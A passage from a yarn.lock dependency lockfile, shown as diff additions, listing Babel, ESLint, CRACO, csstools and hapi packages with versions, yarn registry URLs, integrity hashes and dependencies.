sha512-nqVigwVan+lR+g8Fj8Exl0UQX2kymtjcWfMOYM1vTYEKujeyv2SkMgazf2qNcK7l4SDiKyTA/nHCPqL4e2zo1A== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-react-constant-elements@^7.12.1": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-constant-elements/-/plugin-transform-react-constant-elements-7.12.13.tgz#f8ee56888545d53d80f766b3cc1563ab2c241f92" + integrity sha512-qmzKVTn46Upvtxv8LQoQ8mTCdUC83AOVQIQm57e9oekLT5cmK9GOMOfcWhe8jMNx4UJXn/UDhVZ/7lGofVNeDQ== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-react-display-name@7.12.1": + version "7.12.1" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.12.1.tgz#1cbcd0c3b1d6648c55374a22fc9b6b7e5341c00d" + integrity sha512-cAzB+UzBIrekfYxyLlFqf/OagTvHLcVBb5vpouzkYkBclRPraiygVnafvAoipErZLI8ANv8Ecn6E/m5qPXD26w== + dependencies: + "@babel/helper-plugin-utils" "^7.10.4" + +"@babel/plugin-transform-react-display-name@^7.12.1", "@babel/plugin-transform-react-display-name@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.12.13.tgz#c28effd771b276f4647411c9733dbb2d2da954bd" + integrity sha512-MprESJzI9O5VnJZrL7gg1MpdqmiFcUv41Jc7SahxYsNP2kDkFqClxxTZq+1Qv4AFCamm+GXMRDQINNn+qrxmiA== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-react-jsx-development@^7.12.1", "@babel/plugin-transform-react-jsx-development@^7.12.12": + version "7.12.17" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.12.17.tgz#f510c0fa7cd7234153539f9a362ced41a5ca1447" + integrity sha512-BPjYV86SVuOaudFhsJR1zjgxxOhJDt6JHNoD48DxWEIxUCAMjV1ys6DYw4SDYZh0b1QsS2vfIA9t/ZsQGsDOUQ== + dependencies: + "@babel/plugin-transform-react-jsx" "^7.12.17" + +"@babel/plugin-transform-react-jsx-self@^7.12.1": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.12.13.tgz#422d99d122d592acab9c35ea22a6cfd9bf189f60" + integrity sha512-FXYw98TTJ125GVCCkFLZXlZ1qGcsYqNQhVBQcZjyrwf8FEUtVfKIoidnO8S0q+KBQpDYNTmiGo1gn67Vti04lQ== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-react-jsx-source@^7.12.1": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.12.13.tgz#051d76126bee5c9a6aa3ba37be2f6c1698856bcb" + integrity sha512-O5JJi6fyfih0WfDgIJXksSPhGP/G0fQpfxYy87sDc+1sFmsCS6wr3aAn+whbzkhbjtq4VMqLRaSzR6IsshIC0Q== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-react-jsx@^7.12.1", "@babel/plugin-transform-react-jsx@^7.12.13", "@babel/plugin-transform-react-jsx@^7.12.17": + version "7.12.17" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.12.17.tgz#dd2c1299f5e26de584939892de3cfc1807a38f24" + integrity sha512-mwaVNcXV+l6qJOuRhpdTEj8sT/Z0owAVWf9QujTZ0d2ye9X/K+MTOTSizcgKOj18PGnTc/7g1I4+cIUjsKhBcw== + dependencies: + "@babel/helper-annotate-as-pure" "^7.12.13" + "@babel/helper-module-imports" "^7.12.13" + "@babel/helper-plugin-utils" "^7.12.13" + "@babel/plugin-syntax-jsx" "^7.12.13" + "@babel/types" "^7.12.17" + +"@babel/plugin-transform-react-pure-annotations@^7.12.1": + version "7.12.1" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.12.1.tgz#05d46f0ab4d1339ac59adf20a1462c91b37a1a42" + integrity sha512-RqeaHiwZtphSIUZ5I85PEH19LOSzxfuEazoY7/pWASCAIBuATQzpSVD+eT6MebeeZT2F4eSL0u4vw6n4Nm0Mjg== + dependencies: + "@babel/helper-annotate-as-pure" "^7.10.4" + "@babel/helper-plugin-utils" "^7.10.4" + +"@babel/plugin-transform-regenerator@^7.12.1", "@babel/plugin-transform-regenerator@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.12.13.tgz#b628bcc9c85260ac1aeb05b45bde25210194a2f5" + integrity sha512-lxb2ZAvSLyJ2PEe47hoGWPmW22v7CtSl9jW8mingV4H2sEX/JOcrAj2nPuGWi56ERUm2bUpjKzONAuT6HCn2EA== + dependencies: + regenerator-transform "^0.14.2" + +"@babel/plugin-transform-reserved-words@^7.12.1", "@babel/plugin-transform-reserved-words@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.12.13.tgz#7d9988d4f06e0fe697ea1d9803188aa18b472695" + integrity sha512-xhUPzDXxZN1QfiOy/I5tyye+TRz6lA7z6xaT4CLOjPRMVg1ldRf0LHw0TDBpYL4vG78556WuHdyO9oi5UmzZBg== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-runtime@7.12.1": + version "7.12.1" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.12.1.tgz#04b792057eb460389ff6a4198e377614ea1e7ba5" + integrity sha512-Ac/H6G9FEIkS2tXsZjL4RAdS3L3WHxci0usAnz7laPWUmFiGtj7tIASChqKZMHTSQTQY6xDbOq+V1/vIq3QrWg== + dependencies: + "@babel/helper-module-imports" "^7.12.1" + "@babel/helper-plugin-utils" "^7.10.4" + resolve "^1.8.1" + semver "^5.5.1" + +"@babel/plugin-transform-shorthand-properties@^7.12.1", "@babel/plugin-transform-shorthand-properties@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.12.13.tgz#db755732b70c539d504c6390d9ce90fe64aff7ad" + integrity sha512-xpL49pqPnLtf0tVluuqvzWIgLEhuPpZzvs2yabUHSKRNlN7ScYU7aMlmavOeyXJZKgZKQRBlh8rHbKiJDraTSw== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-spread@^7.12.1", "@babel/plugin-transform-spread@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-spread/-/plugin-transform-spread-7.12.13.tgz#ca0d5645abbd560719c354451b849f14df4a7949" + integrity sha512-dUCrqPIowjqk5pXsx1zPftSq4sT0aCeZVAxhdgs3AMgyaDmoUT0G+5h3Dzja27t76aUEIJWlFgPJqJ/d4dbTtg== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + "@babel/helper-skip-transparent-expression-wrappers" "^7.12.1" + +"@babel/plugin-transform-sticky-regex@^7.12.1", "@babel/plugin-transform-sticky-regex@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.12.13.tgz#760ffd936face73f860ae646fb86ee82f3d06d1f" + integrity sha512-Jc3JSaaWT8+fr7GRvQP02fKDsYk4K/lYwWq38r/UGfaxo89ajud321NH28KRQ7xy1Ybc0VUE5Pz8psjNNDUglg== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-template-literals@^7.12.1", "@babel/plugin-transform-template-literals@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.12.13.tgz#655037b07ebbddaf3b7752f55d15c2fd6f5aa865" + integrity sha512-arIKlWYUgmNsF28EyfmiQHJLJFlAJNYkuQO10jL46ggjBpeb2re1P9K9YGxNJB45BqTbaslVysXDYm/g3sN/Qg== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-typeof-symbol@^7.12.1", "@babel/plugin-transform-typeof-symbol@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.12.13.tgz#785dd67a1f2ea579d9c2be722de8c84cb85f5a7f" + integrity sha512-eKv/LmUJpMnu4npgfvs3LiHhJua5fo/CysENxa45YCQXZwKnGCQKAg87bvoqSW1fFT+HA32l03Qxsm8ouTY3ZQ== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-typescript@^7.12.1": + version "7.12.17" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.12.17.tgz#4aa6a5041888dd2e5d316ec39212b0cf855211bb" + integrity sha512-1bIYwnhRoetxkFonuZRtDZPFEjl1l5r+3ITkxLC3mlMaFja+GQFo94b/WHEPjqWLU9Bc+W4oFZbvCGe9eYMu1g== + dependencies: + "@babel/helper-create-class-features-plugin" "^7.12.17" + "@babel/helper-plugin-utils" "^7.12.13" + "@babel/plugin-syntax-typescript" "^7.12.13" + +"@babel/plugin-transform-unicode-escapes@^7.12.1", "@babel/plugin-transform-unicode-escapes@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.12.13.tgz#840ced3b816d3b5127dd1d12dcedc5dead1a5e74" + integrity sha512-0bHEkdwJ/sN/ikBHfSmOXPypN/beiGqjo+o4/5K+vxEFNPRPdImhviPakMKG4x96l85emoa0Z6cDflsdBusZbw== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/plugin-transform-unicode-regex@^7.12.1", "@babel/plugin-transform-unicode-regex@^7.12.13": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.12.13.tgz#b52521685804e155b1202e83fc188d34bb70f5ac" + integrity sha512-mDRzSNY7/zopwisPZ5kM9XKCfhchqIYwAKRERtEnhYscZB79VRekuRSoYbN0+KVe3y8+q1h6A4svXtP7N+UoCA== + dependencies: + "@babel/helper-create-regexp-features-plugin" "^7.12.13" + "@babel/helper-plugin-utils" "^7.12.13" + +"@babel/preset-env@7.12.1": + version "7.12.1" + resolved "https://registry.yarnpkg.com/@babel/preset-env/-/preset-env-7.12.1.tgz#9c7e5ca82a19efc865384bb4989148d2ee5d7ac2" + integrity sha512-H8kxXmtPaAGT7TyBvSSkoSTUK6RHh61So05SyEbpmr0MCZrsNYn7mGMzzeYoOUCdHzww61k8XBft2TaES+xPLg== + dependencies: + "@babel/compat-data" "^7.12.1" + "@babel/helper-compilation-targets" "^7.12.1" + "@babel/helper-module-imports" "^7.12.1" + "@babel/helper-plugin-utils" "^7.10.4" + "@babel/helper-validator-option" "^7.12.1" + "@babel/plugin-proposal-async-generator-functions" "^7.12.1" + "@babel/plugin-proposal-class-properties" "^7.12.1" + "@babel/plugin-proposal-dynamic-import" "^7.12.1" + "@babel/plugin-proposal-export-namespace-from" "^7.12.1" + "@babel/plugin-proposal-json-strings" "^7.12.1" + "@babel/plugin-proposal-logical-assignment-operators" "^7.12.1" + "@babel/plugin-proposal-nullish-coalescing-operator" "^7.12.1" + "@babel/plugin-proposal-numeric-separator" "^7.12.1" + "@babel/plugin-proposal-object-rest-spread" "^7.12.1" + "@babel/plugin-proposal-optional-catch-binding" "^7.12.1" + "@babel/plugin-proposal-optional-chaining" "^7.12.1" + "@babel/plugin-proposal-private-methods" "^7.12.1" + "@babel/plugin-proposal-unicode-property-regex" "^7.12.1" + "@babel/plugin-syntax-async-generators" "^7.8.0" + "@babel/plugin-syntax-class-properties" "^7.12.1" + "@babel/plugin-syntax-dynamic-import" "^7.8.0" + "@babel/plugin-syntax-export-namespace-from" "^7.8.3" + "@babel/plugin-syntax-json-strings" "^7.8.0" + "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4" + "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.0" + "@babel/plugin-syntax-numeric-separator" "^7.10.4" + "@babel/plugin-syntax-object-rest-spread" "^7.8.0" + "@babel/plugin-syntax-optional-catch-binding" "^7.8.0" + "@babel/plugin-syntax-optional-chaining" "^7.8.0" + "@babel/plugin-syntax-top-level-await" "^7.12.1" + "@babel/plugin-transform-arrow-functions" "^7.12.1" + "@babel/plugin-transform-async-to-generator" "^7.12.1" + "@babel/plugin-transform-block-scoped-functions" "^7.12.1" + "@babel/plugin-transform-block-scoping" "^7.12.1" + "@babel/plugin-transform-classes" "^7.12.1" + "@babel/plugin-transform-computed-properties" "^7.12.1" + "@babel/plugin-transform-destructuring" "^7.12.1" + "@babel/plugin-transform-dotall-regex" "^7.12.1" + "@babel/plugin-transform-duplicate-keys" "^7.12.1" + "@babel/plugin-transform-exponentiation-operator" "^7.12.1" + "@babel/plugin-transform-for-of" "^7.12.1" + "@babel/plugin-transform-function-name" "^7.12.1" + "@babel/plugin-transform-literals" "^7.12.1" + "@babel/plugin-transform-member-expression-literals" "^7.12.1" + "@babel/plugin-transform-modules-amd" "^7.12.1" + "@babel/plugin-transform-modules-commonjs" "^7.12.1" + "@babel/plugin-transform-modules-systemjs" "^7.12.1" + "@babel/plugin-transform-modules-umd" "^7.12.1" + "@babel/plugin-transform-named-capturing-groups-regex" "^7.12.1" + "@babel/plugin-transform-new-target" "^7.12.1" + "@babel/plugin-transform-object-super" "^7.12.1" + "@babel/plugin-transform-parameters" "^7.12.1" + "@babel/plugin-transform-property-literals" "^7.12.1" + "@babel/plugin-transform-regenerator" "^7.12.1" + "@babel/plugin-transform-reserved-words" "^7.12.1" + "@babel/plugin-transform-shorthand-properties" "^7.12.1" + "@babel/plugin-transform-spread" "^7.12.1" + "@babel/plugin-transform-sticky-regex" "^7.12.1" + "@babel/plugin-transform-template-literals" "^7.12.1" + "@babel/plugin-transform-typeof-symbol" "^7.12.1" + "@babel/plugin-transform-unicode-escapes" "^7.12.1" + "@babel/plugin-transform-unicode-regex" "^7.12.1" + "@babel/preset-modules" "^0.1.3" + "@babel/types" "^7.12.1" + core-js-compat "^3.6.2" + semver "^5.5.0" + +"@babel/preset-env@^7.12.1", "@babel/preset-env@^7.8.4": + version "7.12.17" + resolved "https://registry.yarnpkg.com/@babel/preset-env/-/preset-env-7.12.17.tgz#94a3793ff089c32ee74d76a3c03a7597693ebaaa" + integrity sha512-9PMijx8zFbCwTHrd2P4PJR5nWGH3zWebx2OcpTjqQrHhCiL2ssSR2Sc9ko2BsI2VmVBfoaQmPrlMTCui4LmXQg== + dependencies: + "@babel/compat-data" "^7.12.13" + "@babel/helper-compilation-targets" "^7.12.17" + "@babel/helper-module-imports" "^7.12.13" + "@babel/helper-plugin-utils" "^7.12.13" + "@babel/helper-validator-option" "^7.12.17" + "@babel/plugin-proposal-async-generator-functions" "^7.12.13" + "@babel/plugin-proposal-class-properties" "^7.12.13" + "@babel/plugin-proposal-dynamic-import" "^7.12.17" + "@babel/plugin-proposal-export-namespace-from" "^7.12.13" + "@babel/plugin-proposal-json-strings" "^7.12.13" + "@babel/plugin-proposal-logical-assignment-operators" "^7.12.13" + "@babel/plugin-proposal-nullish-coalescing-operator" "^7.12.13" + "@babel/plugin-proposal-numeric-separator" "^7.12.13" + "@babel/plugin-proposal-object-rest-spread" "^7.12.13" + "@babel/plugin-proposal-optional-catch-binding" "^7.12.13" + "@babel/plugin-proposal-optional-chaining" "^7.12.17" + "@babel/plugin-proposal-private-methods" "^7.12.13" + "@babel/plugin-proposal-unicode-property-regex" "^7.12.13" + "@babel/plugin-syntax-async-generators" "^7.8.0" + "@babel/plugin-syntax-class-properties" "^7.12.13" + "@babel/plugin-syntax-dynamic-import" "^7.8.0" + "@babel/plugin-syntax-export-namespace-from" "^7.8.3" + "@babel/plugin-syntax-json-strings" "^7.8.0" + "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4" + "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.0" + "@babel/plugin-syntax-numeric-separator" "^7.10.4" + "@babel/plugin-syntax-object-rest-spread" "^7.8.0" + "@babel/plugin-syntax-optional-catch-binding" "^7.8.0" + "@babel/plugin-syntax-optional-chaining" "^7.8.0" + "@babel/plugin-syntax-top-level-await" "^7.12.13" + "@babel/plugin-transform-arrow-functions" "^7.12.13" + "@babel/plugin-transform-async-to-generator" "^7.12.13" + "@babel/plugin-transform-block-scoped-functions" "^7.12.13" + "@babel/plugin-transform-block-scoping" "^7.12.13" + "@babel/plugin-transform-classes" "^7.12.13" + "@babel/plugin-transform-computed-properties" "^7.12.13" + "@babel/plugin-transform-destructuring" "^7.12.13" + "@babel/plugin-transform-dotall-regex" "^7.12.13" + "@babel/plugin-transform-duplicate-keys" "^7.12.13" + "@babel/plugin-transform-exponentiation-operator" "^7.12.13" + "@babel/plugin-transform-for-of" "^7.12.13" + "@babel/plugin-transform-function-name" "^7.12.13" + "@babel/plugin-transform-literals" "^7.12.13" + "@babel/plugin-transform-member-expression-literals" "^7.12.13" + "@babel/plugin-transform-modules-amd" "^7.12.13" + "@babel/plugin-transform-modules-commonjs" "^7.12.13" + "@babel/plugin-transform-modules-systemjs" "^7.12.13" + "@babel/plugin-transform-modules-umd" "^7.12.13" + "@babel/plugin-transform-named-capturing-groups-regex" "^7.12.13" + "@babel/plugin-transform-new-target" "^7.12.13" + "@babel/plugin-transform-object-super" "^7.12.13" + "@babel/plugin-transform-parameters" "^7.12.13" + "@babel/plugin-transform-property-literals" "^7.12.13" + "@babel/plugin-transform-regenerator" "^7.12.13" + "@babel/plugin-transform-reserved-words" "^7.12.13" + "@babel/plugin-transform-shorthand-properties" "^7.12.13" + "@babel/plugin-transform-spread" "^7.12.13" + "@babel/plugin-transform-sticky-regex" "^7.12.13" + "@babel/plugin-transform-template-literals" "^7.12.13" + "@babel/plugin-transform-typeof-symbol" "^7.12.13" + "@babel/plugin-transform-unicode-escapes" "^7.12.13" + "@babel/plugin-transform-unicode-regex" "^7.12.13" + "@babel/preset-modules" "^0.1.3" + "@babel/types" "^7.12.17" + core-js-compat "^3.8.0" + semver "^5.5.0" + +"@babel/preset-modules@^0.1.3": + version "0.1.4" + resolved "https://registry.yarnpkg.com/@babel/preset-modules/-/preset-modules-0.1.4.tgz#362f2b68c662842970fdb5e254ffc8fc1c2e415e" + integrity sha512-J36NhwnfdzpmH41M1DrnkkgAqhZaqr/NBdPfQ677mLzlaXo+oDiv1deyCDtgAhz8p328otdob0Du7+xgHGZbKg== + dependencies: + "@babel/helper-plugin-utils" "^7.0.0" + "@babel/plugin-proposal-unicode-property-regex" "^7.4.4" + "@babel/plugin-transform-dotall-regex" "^7.4.4" + "@babel/types" "^7.4.4" + esutils "^2.0.2" + +"@babel/preset-react@7.12.1": + version "7.12.1" + resolved "https://registry.yarnpkg.com/@babel/preset-react/-/preset-react-7.12.1.tgz#7f022b13f55b6dd82f00f16d1c599ae62985358c" + integrity sha512-euCExymHCi0qB9u5fKw7rvlw7AZSjw/NaB9h7EkdTt5+yHRrXdiRTh7fkG3uBPpJg82CqLfp1LHLqWGSCrab+g== + dependencies: + "@babel/helper-plugin-utils" "^7.10.4" + "@babel/plugin-transform-react-display-name" "^7.12.1" + "@babel/plugin-transform-react-jsx" "^7.12.1" + "@babel/plugin-transform-react-jsx-development" "^7.12.1" + "@babel/plugin-transform-react-jsx-self" "^7.12.1" + "@babel/plugin-transform-react-jsx-source" "^7.12.1" + "@babel/plugin-transform-react-pure-annotations" "^7.12.1" + +"@babel/preset-react@^7.12.5": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/preset-react/-/preset-react-7.12.13.tgz#5f911b2eb24277fa686820d5bd81cad9a0602a0a" + integrity sha512-TYM0V9z6Abb6dj1K7i5NrEhA13oS5ujUYQYDfqIBXYHOc2c2VkFgc+q9kyssIyUfy4/hEwqrgSlJ/Qgv8zJLsA== + dependencies: + "@babel/helper-plugin-utils" "^7.12.13" + "@babel/plugin-transform-react-display-name" "^7.12.13" + "@babel/plugin-transform-react-jsx" "^7.12.13" + "@babel/plugin-transform-react-jsx-development" "^7.12.12" + "@babel/plugin-transform-react-pure-annotations" "^7.12.1" + +"@babel/preset-typescript@7.12.1": + version "7.12.1" + resolved "https://registry.yarnpkg.com/@babel/preset-typescript/-/preset-typescript-7.12.1.tgz#86480b483bb97f75036e8864fe404cc782cc311b" + integrity sha512-hNK/DhmoJPsksdHuI/RVrcEws7GN5eamhi28JkO52MqIxU8Z0QpmiSOQxZHWOHV7I3P4UjHV97ay4TcamMA6Kw== + dependencies: + "@babel/helper-plugin-utils" "^7.10.4" + "@babel/plugin-transform-typescript" "^7.12.1" + +"@babel/runtime-corejs3@^7.10.2": + version "7.12.18" + resolved "https://registry.yarnpkg.com/@babel/runtime-corejs3/-/runtime-corejs3-7.12.18.tgz#e5663237e5658e4c09586995d2dd6d2c8cfd6fc0" + integrity sha512-ngR7yhNTjDxxe1VYmhqQqqXZWujGb6g0IoA4qeG6MxNGRnIw2Zo8ImY8HfaQ7l3T6GklWhdNfyhWk0C0iocdVA== + dependencies: + core-js-pure "^3.0.0" + regenerator-runtime "^0.13.4" + +"@babel/runtime@7.12.1": + version "7.12.1" + resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.12.1.tgz#b4116a6b6711d010b2dad3b7b6e43bf1b9954740" + integrity sha512-J5AIf3vPj3UwXaAzb5j1xM4WAQDX3EMgemF8rjCP3SoW09LfRKAXQKt6CoVYl230P6iWdRcBbnLDDdnqWxZSCA== + dependencies: + regenerator-runtime "^0.13.4" + +"@babel/runtime@^7.10.2", "@babel/runtime@^7.11.2", "@babel/runtime@^7.5.5", "@babel/runtime@^7.7.2", "@babel/runtime@^7.8.4": + version "7.12.18" + resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.12.18.tgz#af137bd7e7d9705a412b3caaf991fe6aaa97831b" + integrity sha512-BogPQ7ciE6SYAUPtlm9tWbgI9+2AgqSam6QivMgXgAT+fKbgppaj4ZX15MHeLC1PVF5sNk70huBu20XxWOs8Cg== + dependencies: + regenerator-runtime "^0.13.4" + +"@babel/runtime@^7.12.5", "@babel/runtime@^7.9.2": + version "7.14.5" + resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.14.5.tgz#665450911c6031af38f81db530f387ec04cd9a98" + integrity sha512-121rumjddw9c3NCQ55KGkyE1h/nzWhU/owjhw0l4mQrkzz4x9SGS1X8gFLraHwX7td3Yo4QTL+qj0NcIzN87BA== + dependencies: + regenerator-runtime "^0.13.4" + +"@babel/template@^7.10.4", "@babel/template@^7.12.13", "@babel/template@^7.3.3": + version "7.12.13" + resolved "https://registry.yarnpkg.com/@babel/template/-/template-7.12.13.tgz#530265be8a2589dbb37523844c5bcb55947fb327" + integrity sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA== + dependencies: + "@babel/code-frame" "^7.12.13" + "@babel/parser" "^7.12.13" + "@babel/types" "^7.12.13" + +"@babel/traverse@^7.1.0", "@babel/traverse@^7.12.1", "@babel/traverse@^7.12.13", "@babel/traverse@^7.12.17", "@babel/traverse@^7.7.0": + version "7.12.17" + resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.12.17.tgz#40ec8c7ffb502c4e54c7f95492dc11b88d718619" + integrity sha512-LGkTqDqdiwC6Q7fWSwQoas/oyiEYw6Hqjve5KOSykXkmFJFqzvGMb9niaUEag3Rlve492Mkye3gLw9FTv94fdQ== + dependencies: + "@babel/code-frame" "^7.12.13" + "@babel/generator" "^7.12.17" + "@babel/helper-function-name" "^7.12.13" + "@babel/helper-split-export-declaration" "^7.12.13" + "@babel/parser" "^7.12.17" + "@babel/types" "^7.12.17" + debug "^4.1.0" + globals "^11.1.0" + lodash "^4.17.19" + +"@babel/types@^7.0.0", "@babel/types@^7.12.1", "@babel/types@^7.12.13", "@babel/types@^7.12.17", "@babel/types@^7.12.6", "@babel/types@^7.3.0", "@babel/types@^7.3.3", "@babel/types@^7.4.4", "@babel/types@^7.7.0": + version "7.12.17" + resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.12.17.tgz#9d711eb807e0934c90b8b1ca0eb1f7230d150963" + integrity sha512-tNMDjcv/4DIcHxErTgwB9q2ZcYyN0sUfgGKUK/mm1FJK7Wz+KstoEekxrl/tBiNDgLK1HGi+sppj1An/1DR4fQ== + dependencies: + "@babel/helper-validator-identifier" "^7.12.11" + lodash "^4.17.19" + to-fast-properties "^2.0.0" + +"@bcoe/v8-coverage@^0.2.3": + version "0.2.3" + resolved "https://registry.yarnpkg.com/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz#75a2e8b51cb758a7553d6804a5932d7aace75c39" + integrity sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw== + +"@cnakazawa/watch@^1.0.3": + version "1.0.4" + resolved "https://registry.yarnpkg.com/@cnakazawa/watch/-/watch-1.0.4.tgz#f864ae85004d0fcab6f50be9141c4da368d1656a" + integrity sha512-v9kIhKwjeZThiWrLmj0y17CWoyddASLj9O2yvbZkbvw/N3rWOYy9zkV66ursAoVr0mV15bL8g0c4QZUE6cdDoQ== + dependencies: + exec-sh "^0.3.2" + minimist "^1.2.0" + +"@craco/craco@^6.1.2": + version "6.1.2" + resolved "https://registry.yarnpkg.com/@craco/craco/-/craco-6.1.2.tgz#30e45288e4609ac6b8cf828085b34acebdc60e69" + integrity sha512-GlQZn+g+yNlaDvIL5m6mcCoBGyFDwO4kkNx3fNFf98wuldkdWyBFoQbtOFOIb4gvkTh4VntOOxtJEoZfKs7XXw== + dependencies: + cross-spawn "^7.0.0" + lodash "^4.17.15" + semver "^7.3.2" + webpack-merge "^4.2.2" + +"@csstools/convert-colors@^1.4.0": + version "1.4.0" + resolved "https://registry.yarnpkg.com/@csstools/convert-colors/-/convert-colors-1.4.0.tgz#ad495dc41b12e75d588c6db8b9834f08fa131eb7" + integrity sha512-5a6wqoJV/xEdbRNKVo6I4hO3VjyDq//8q2f9I6PBAvMesJHFauXDorcNCsr9RzvsZnaWi5NYCcfyqP1QeFHFbw== + +"@csstools/normalize.css@^10.1.0": + version "10.1.0" + resolved "https://registry.yarnpkg.com/@csstools/normalize.css/-/normalize.css-10.1.0.tgz#f0950bba18819512d42f7197e56c518aa491cf18" + integrity sha512-ij4wRiunFfaJxjB0BdrYHIH8FxBJpOwNPhhAcunlmPdXudL1WQV1qoP9un6JsEBAgQH+7UXyyjh0g7jTxXK6tg== + +"@eslint/eslintrc@^0.3.0": + version "0.3.0" + resolved "https://registry.yarnpkg.com/@eslint/eslintrc/-/eslintrc-0.3.0.tgz#d736d6963d7003b6514e6324bec9c602ac340318" + integrity sha512-1JTKgrOKAHVivSvOYw+sJOunkBjUOvjqWk1DPja7ZFhIS2mX/4EgTT8M7eTK9jrKhL/FvXXEbQwIs3pg1xp3dg== + dependencies: + ajv "^6.12.4" + debug "^4.1.1" + espree "^7.3.0" + globals "^12.1.0" + ignore "^4.0.6" + import-fresh "^3.2.1" + js-yaml "^3.13.1" + lodash "^4.17.20" + minimatch "^3.0.4" + strip-json-comments "^3.1.1" + +"@fullhuman/postcss-purgecss@^3.1.3": + version "3.1.3" + resolved "https://registry.yarnpkg.com/@fullhuman/postcss-purgecss/-/postcss-purgecss-3.1.3.tgz#47af7b87c9bfb3de4bc94a38f875b928fffdf339" + integrity sha512-kwOXw8fZ0Lt1QmeOOrd+o4Ibvp4UTEBFQbzvWldjlKv5n+G9sXfIPn1hh63IQIL8K8vbvv1oYMJiIUbuy9bGaA== + dependencies: + purgecss "^3.1.3" + +"@hapi/address@2.x.x": + version "2.1.4" + resolved "https://registry.yarnpkg.com/@hapi/address/-/address-2.1.4.tgz#5d67ed43f3fd41a69d4b9ff7b56e7c0d1d0a81e5" + integrity sha512-QD1PhQk+s31P1ixsX0H0Suoupp3VMXzIVMSwobR3F3MSUO2YCV0B7xqLcUw/Bh8yuvd3LhpyqLQWTNcRmp6IdQ== + +"@hapi/bourne@1.x.x": + version "1.3.2" + resolved "https://registry.yarnpkg.com/@hapi/bourne/-/bourne-1.3.2.tgz#0a7095adea067243ce3283e1b56b8a8f453b242a" + integrity sha512-1dVNHT76Uu5N3eJNTYcvxee+jzX4Z9lfciqRRHCU27ihbUcYi+iSc2iml5Ke1LXe1SyJCLA0+14Jh4tXJgOppA== + +"@hapi/hoek@8.x.x", "@hapi/hoek@^8.3.0": + version "8.5.1" + resolved "https://registry.yarnpkg.com/@hapi/hoek/-/hoek-8.5.1.tgz#fde96064ca446dec8c55a8c2f130957b070c6e06" + integrity sha512-yN7kbciD87WzLGc5539Tn0sApjyiGHAJgKvG9W8C7O+6c7qmoQMfVs0W4bX17eqz6C78QJqqFrtgdK5EWf6Qow== + +"@hapi/joi@^15.1.0": + version "15.1.1" + resolved "https://registry.yarnpkg.com/@hapi/joi/-/joi-15.1.1.tgz#c675b8a71296f02833f8d6d243b34c57b8ce19d7" + integrity 